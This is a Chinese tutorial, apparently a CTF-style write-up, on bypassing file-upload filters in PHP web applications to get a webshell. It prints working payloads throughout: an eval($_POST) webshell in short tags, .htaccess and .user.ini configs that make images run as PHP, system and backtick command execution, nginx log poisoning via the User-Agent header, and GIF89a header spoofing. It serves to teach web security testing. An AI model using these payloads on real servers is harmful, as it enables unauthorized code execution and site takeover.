目录
定义
1.前端验证
2.MIME验证
3.htaccess文件和.user. ini
4.对内容进行了过滤,做了内容检测
5.[ ]符号过滤
6.内容检测'php' '[]' '{}' ';'
7.'()'也被过滤了
8.``反引号也被过滤
9.文件头检测
定义
文件上传漏洞是指攻击者上传了一个可执行文件(如木马、病毒、恶意脚本、WebShell等)到服务器执行,并最终获得网站控制权限的高危漏洞。
1.前端验证
使用js在前端做了验证后缀,但是后台没有验证,前端验证其实是我们本地的验证,如看到类似如下js验证代码
可以通过F12开发者模式,把验证代码改了来绕过
就上传成功了
之后就可以连接后门执行代码了
2.MIME验证
属于后端的验证,通过抓包可以看到Content-type字段的一个文件格式,如图就是上传了一个php文件所显示的类型
如只允许上传image/png格式,抓包将其改为允许的文件类型,就可以绕过。
注意:后门代码需要特定格式后缀解析,不能一图片后缀解析后门代码(解析漏洞除外)。图片中有后门代码,不能被触发,所以连接不上后面
而当上面都不行的时候,尝试大小写绕过,可以看上传成功
但是不一定能正常解析,像这样变成直接下载,这就是错误的解析 。这是根据中间件的一个搭建所决定的,有些大小写绕过就很尴尬,有些你改了之后呢,就会出现解析不了直接下载,或者直接保存的情况
或者是通过多后缀解析,如php5,php7
3.htaccess文件和.user. ini
首先要了解.htaccess通常用于实现URL重写、访问控制、错误页面定制、MIME类型设置等功能,且只在Apache下有效,在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps
这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。
AddType application/x-httpd-php是将所有文件按照php文件进行解析,如将jpg文件按照php文件进行解析
大部分网站都是用的
fastcgi
,这个东西可以理解为可以提供web服务器的一种api
,而apache
/nginx
/iis
这些服务器都会依靠这种api
来运行。而在服务器以fastcgi
启动运行的时候,.user.ini
也是php
的一种配置文件,php.ini
是php
的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。而.user.ini实际上就是一个可以由用户自定义的php.ini。也就是说.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器。
而
.user.ini
和.htaccess
一样是对当前目录的所有php
文件的配置设置,即写了.user.ini
和它同目录的文件会优先使用.user.ini
中设置的配置属性。前提是有php文件
假设在某个目录有一个
.htaccess文件,配置有两种,一种如下,表示把muma.jpg文件并以php解析
<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
或者另一种配置直接解析某一类文件
AddType application/x-httpd-php .jpg
而.user.ini文件配置则是把文件包含进php文件执行,写法同样有2种:
auto_prepend_file=auto_append_file=
理解这些前置知识之后,下面说说怎么利用在文件上传种,思路如下:
上传一个
.htaccess文件/.user.ini文件,里面配置你后续需要上传的一个带有后门木马的png或其他允许的类型文件,上传成功之后,在把带有后门木马的png或其他允许的类型文件上传,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接设置某种格式以php解析,而.user.ini文件可以是其他的中间价,但是.user.ini必需要当前文件夹下有php文件
.htaccess上传的例子
首先创建一个.htaccess文件,写入下面配置内容
<FilesMatch "a.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
抓包把Content-Type类型的application/octet-stream改为image/png(允许的类型)
.htaccess文件设置了a.jpg,所以后门文件
也需要命名为a。jpg,再把a.jpg上传上去
这个时候就会以php去解析a.jpg了
.user.ini类似,如果是其他中间价如nginx的情况下,创建一个.user.ini文件,用上面说的两个方法包含一个我们后续要上传的后门文件a.txt
在把后门文件传上去
如果有php文件,就会被包含进php解析了,访问存在的php文件就可以getshell了
4.对内容进行了过滤,做了内容检测
测试检查是过滤的什么代码
如过滤了类似<?php这类标签
在与user.ini联用的基础上,可以尝试用短标签绕过或者是其他语言的标签绕过
<? echo'123'?> //前提是开启配置参数short_open tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123 %> //前提是开启配置参数asp tags=on
<script language="php">echo '1'</script> //不需要修改参数开
如.user.ini文件写入:
auto_prepend_file=test.png
test png文件使用短标签写后门代码 :
<?=eval($ POST[X]); ?>
修改后就成功上传了
就可以getsgell了,注意index.php可以不写,但是要记得.user.ini是需要当前目录有php文件的
5.[ ]符号过滤
在上面的基础上可能遇到[]也被过滤了
可以换成{ }
6.内容检测'php' '[]' '{}' ';'
前置知识:如果一个php文件是由纯 php代码组成,那么php结束标识 ‘?>’,可以省略,建议省略,如果省略,最后一行必须加分号,而不省略,写完整结构‘<?php ?>’,最后一行可以不写分号下面例子
<?php echo '123' ?> //最后一行允许不加分号<?php echo '123' ; //必须加分号
而php中system()
函数用于执行外部程序,并显示其输出到 web 页面 ,不需要依赖echo之类的输出函数由这个思路,不需要eval这类执行函数,结果user.ini,使用<? system('tac fl*') ?>上传即可
7.'()'也被过滤了
当括号也被过滤了,也就是说不能通过系统函数,如system()去触发了,这是可以使用反引号``。
在php中相当于直接执行系统命令
8.``反引号也被过滤
反引号都被过滤后,基本上就很难再这基础上直接上传了,所以要换个思路,下面说说通过包含日志文件去执行
前置知识:中间件一般会记录日志,这些日志一般都会记录很多header信息,如User-Agent浏览器信息等。
所以可以通过user.ini配置让php文件包含一个中间价日志文件去执行利用代码
一般访问日志默认的位置,如果自定义就不行了
linux:/var/log/nginx/access.log
windows:C:\nginx\conf\nginx.conf
流程还是和user.ini一样的,让user.ini包含1.png,然后1.png里使用include把日志文件包含进来,有可能log关键字会被过滤,下面的写法通过字符拼接绕过
auto_prepend_file=1.png //.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?> //1.png内容
在通过UA来插入后门代码
再去访问就可以被触发
9.文件头检测
以winhex打开一张gif,可以看到他是以GIF89a开头,这个就是文件头特征
常见的文件头:
知道什么是文件头之后,只需要在原来的基础上,加上对应的文件头就可以了 ,比如上传user.ini或后门文件,在最开始的地方加上文件头
//.user.ini文件配置
GIF89a
auto_prepend_file=1.png //1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>
后面访问是一样的